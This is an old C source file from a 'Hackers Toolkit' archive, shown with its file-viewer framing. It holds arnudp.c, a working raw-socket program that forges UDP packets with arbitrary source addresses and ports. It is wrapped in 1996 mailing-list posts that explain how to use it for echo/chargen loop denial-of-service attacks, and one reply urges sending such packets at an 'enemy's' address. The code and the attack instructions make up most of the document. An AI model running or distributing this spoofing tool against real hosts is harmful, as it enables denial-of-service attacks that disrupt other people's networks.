home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Udp / unix / udpdenial.c < prev   
C/C++ Source or Header  |  1999-11-04  |  6KB  |  182 lines

  1.  
  2.  
  3.  
  4. /*
  5.  
  6. From B.O.S. 2/05/96
  7.  
  8. I noticed someone mentioning the echo port. My advice is to disable the 
  9. echo service completely. It is often used by hackers to hang a computer.
  10.  
  11. Try sending a packet from port 7 your ip to port 7 your ip.
  12.  
  13. The system will bounce the packet back and forth slowing the system 
  14. drastically.
  15.  
  16. A Hacker Program I have seen used to do this is called arnudp.c 
  17.  
  18. */
  19.  
  20. /************************************************************************/
  21. /* arnudp.c version 0.01 by Arny - cs6171@scitsc.wlv.ac.uk              */
  22. /* Sends a single udp datagram with the source/destination address/port */
  23. /* set to whatever you want.  Unfortunately Linux 1.2 and SunOS 4.1     */
  24. /* don't seem to have the IP_HDRINCL option, so the source address will */
  25. /* be set to the real address.  It does however work ok on SunOS 5.4.   */
  26. /* Should compile fine with just an ANSI compiler (such as gcc) under   */
  27. /* Linux and SunOS 4.1, but with SunOS 5.4 you have to specify extra    */
  28. /* libraries on the command line:                                       */
  29. /*      /usr/ucb/cc -o arnudp arnudp001.c -lsocket -lnsl                */
  30. /* I'll state the obvious - this needs to be run as root!  Do not use   */
  31. /* this program unless you know what you are doing, as it is possible   */
  32. /* that you could confuse parts of your network / internet.             */
  33. /* (c) 1995 Arny - I accept no responsiblity for anything this does.    */
  34. /************************************************************************/
  35. /* I used the source of traceroute as an example while writing this.    */
  36. /* Many thanks to Dan Egnor (egnor@ugcs.caltech.edu) and Rich Stevens   */
  37. /* for pointing me in the right direction.                              */
  38. /************************************************************************/
  39.  
  40. #include<sys/types.h>
  41. #include<sys/socket.h>
  42. #include<netinet/in_systm.h>
  43. #include<netinet/in.h>
  44. #include<netinet/ip.h>
  45. #include<netinet/udp.h>
  46. #include<errno.h>
  47. #include<string.h>
  48. #include<netdb.h>
  49. #include<arpa/inet.h>
  50. #include<stdio.h>
  51.  
  52. struct sockaddr sa;
  53.  
  54. main(int argc,char **argv)
  55. {
  56. int fd;
  57. int x=1;
  58. struct sockaddr_in *p;
  59. struct hostent *he;
  60. u_char gram[38]=
  61.         {
  62.         0x45,   0x00,   0x00,   0x26,
  63.         0x12,   0x34,   0x00,   0x00,
  64.         0xFF,   0x11,   0,      0,
  65.         0,      0,      0,      0,
  66.         0,      0,      0,      0,
  67.  
  68.         0,      0,      0,      0,
  69.         0x00,   0x12,   0x00,   0x00,
  70.  
  71.         '1','2','3','4','5','6','7','8','9','0'
  72.         };
  73.  
  74. if(argc!=5)
  75.         {
  76.         fprintf(stderr,"usage: %s sourcename sourceport destinationname destinationport\n",*argv);
  77.         exit(1);
  78.         };
  79.  
  80. if((he=gethostbyname(argv[1]))==NULL)
  81.         {
  82.         fprintf(stderr,"can't resolve source hostname\n");
  83.         exit(1);
  84.         };
  85. bcopy(*(he->h_addr_list),(gram+12),4);
  86.  
  87. if((he=gethostbyname(argv[3]))==NULL)
  88.         {
  89.         fprintf(stderr,"can't resolve destination hostname\n");
  90.         exit(1);
  91.         };
  92. bcopy(*(he->h_addr_list),(gram+16),4);
  93.  
  94. *(u_short*)(gram+20)=htons((u_short)atoi(argv[2]));
  95. *(u_short*)(gram+22)=htons((u_short)atoi(argv[4]));
  96.  
  97. p=(struct sockaddr_in*)&sa;
  98. p->sin_family=AF_INET;
  99. bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));
  100.  
  101. if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
  102.         {
  103.         perror("socket");
  104.         exit(1);
  105.         };
  106.  
  107. #ifdef IP_HDRINCL
  108. fprintf(stderr,"we have IP_HDRINCL :-)\n\n");
  109. if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
  110.         {
  111.         perror("setsockopt IP_HDRINCL");
  112.         exit(1);
  113.         };
  114. #else
  115. fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");
  116. #endif
  117.  
  118. if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)
  119.         {
  120.         perror("sendto");
  121.         exit(1);
  122.         };
  123.  
  124. printf("datagram sent without error:");
  125. for(x=0;x<(sizeof(gram)/sizeof(u_char));x++)
  126.         {
  127.         if(!(x%4)) putchar('\n');
  128.         printf("%02x",gram[x]);
  129.         };
  130. putchar('\n');
  131.  
  132. }
  133. From route@infonexus.com Wed Feb  7 12:33:42 1996
  134. Return-Path: route
  135. Received: (from route@localhost) by onyx.infonexus.com (8.6.12/8.6.9) id MAA16853 for root; Wed, 7 Feb 1996 12:33:42 -0800
  136. From: Infinity <route@infonexus.com>
  137. Message-Id: <199602072033.MAA16853@onyx.infonexus.com>
  138. Subject: Re: BoS: Re: Echo Vunerebility (fwd)
  139. To: root@infonexus.com (demon)
  140. Date: Wed, 7 Feb 1996 12:33:41 -0800 (PST)
  141. X-Mailer: ELM [version 2.4 PL24]
  142. MIME-Version: 1.0
  143. Content-Type: text/plain; charset=US-ASCII
  144. Content-Transfer-Encoding: 7bit
  145. Content-Length: 1068      
  146. Status: RO
  147.  
  148. Hadmut Danisch braved the dark, cold unknown with:
  149. >From owner-best-of-security@suburbia.net Wed Feb  7 04:39:35 1996
  150. X-Authentication-Warning: suburbia.net: majordom set sender to owner-best-of-security using -f
  151. Date: Wed, 7 Feb 1996 12:42:17 +0100
  152. From: danisch@ira.uka.de (Hadmut Danisch)
  153. Message-Id: <9602071142.AA00605@elysion.eiss.ira.uka.de>
  154. To: best-of-security@suburbia.net
  155. Subject: Re: BoS: Re: Echo Vunerebility
  156. X-Sun-Charset: US-ASCII
  157. Sender: owner-best-of-security@suburbia.net
  158. Errors-to: nobody@mail.uu.net
  159. Precedence: bulk
  160. Reply-To: nobody@mail.uu.net
  161.  
  162. > Try sending a packet from port 7 your ip to port 7 your ip.
  163.  
  164.  
  165. Send a udp packet to your enemy's ip address, for both port
  166. numbers use one of echo/chargen/time , and use either
  167. 127.0.0.1 or broadcast as the From-address.
  168.  
  169. He will have a lot of fun...
  170.  
  171.  
  172. Hadmut Danisch
  173. European Institute for System Security E.I.S.S.
  174.  
  175.  
  176.  
  177. -- 
  178. infiNity .oOo.  Member of the infamous Guild |  spreading information 
  179. route .oOo.  Use strong Cryptography |  like it was going 
  180. daemon9 .oOo.  Finger for info |  out of style
  181.  
  182.